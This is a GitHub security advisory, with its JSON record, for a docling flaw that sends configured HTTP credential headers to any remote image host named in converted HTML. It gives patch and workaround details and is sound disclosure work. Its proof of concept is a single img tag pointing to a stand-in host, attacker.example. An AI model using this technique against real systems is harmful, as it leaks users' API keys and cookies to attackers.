GHSA-P3FW-7699-7926

Vulnerability from github – Published: 2026-10-07 20:42 – Updated: 2026-10-07 20:42
VLAI
Summary
Docling: Configured HTTP headers sent to every remote image host named by a document
Details

Summary

HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.

Details

docling/backend/utils/image_resource_loader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.

Affected configurations

  • Affected: callers that set headers together with enable_remote_fetch=True and fetch_images=True (CLI: --html-image-headers with --html-image-fetch remote or all), and convert untrusted HTML.
  • Not affected: the default configuration.

Impact

Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.

Proof of concept

<img src="https://attacker.example/pixel.png">

Converting this file with HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.

Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.

Patches

Fixed in docling 2.132.0 by #4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.

Workarounds

Upgrade to 2.132.0. For older versions:

Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.

Severity
3.7 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "docling"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.95.0"
            },
            {
              "fixed": "2.132.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "docling-slim"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.95.0"
            },
            {
              "fixed": "2.132.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-105742"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T20:42:24Z",
    "nvd_published_at": "2026-10-05T22:16:56Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\n`HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller\u0027s credentials.\n\n### Details\n\n`docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document\u0027s origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects.\n\n### Affected configurations\n\n- Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML.\n- Not affected: the default configuration.\n\n### Impact\n\nDisclosure of the configured request headers, typically credentials, to a host chosen by the document author.\n\n### Proof of concept\n\n```html\n\u003cimg src=\"https://attacker.example/pixel.png\"\u003e\n```\n\nConverting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={\"X-API-Key\": \"...\"})` sends the key to `attacker.example`.\n\nOther items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.\n\n### Patches\n\nFixed in docling 2.132.0 by [#4420](https://github.com/docling-project/docling/pull/4420). Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.\n\n### Workarounds\n\nUpgrade to 2.132.0. For older versions:\n\nDo not set `headers` when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.",
  "id": "GHSA-p3fw-7699-7926",
  "modified": "2026-10-07T20:42:24Z",
  "published": "2026-10-07T20:42:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/docling-project/docling/security/advisories/GHSA-p3fw-7699-7926"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105742"
    },
    {
      "type": "WEB",
      "url": "https://github.com/docling-project/docling/pull/4420"
    },
    {
      "type": "WEB",
      "url": "https://github.com/docling-project/docling/commit/5e469137f275ffc443306a30d12a3a45bceb80fb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/docling-project/docling"
    },
    {
      "type": "WEB",
      "url": "https://github.com/docling-project/docling/releases/tag/v2.132.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Docling: Configured HTTP headers sent to every remote image host named by a document"
}



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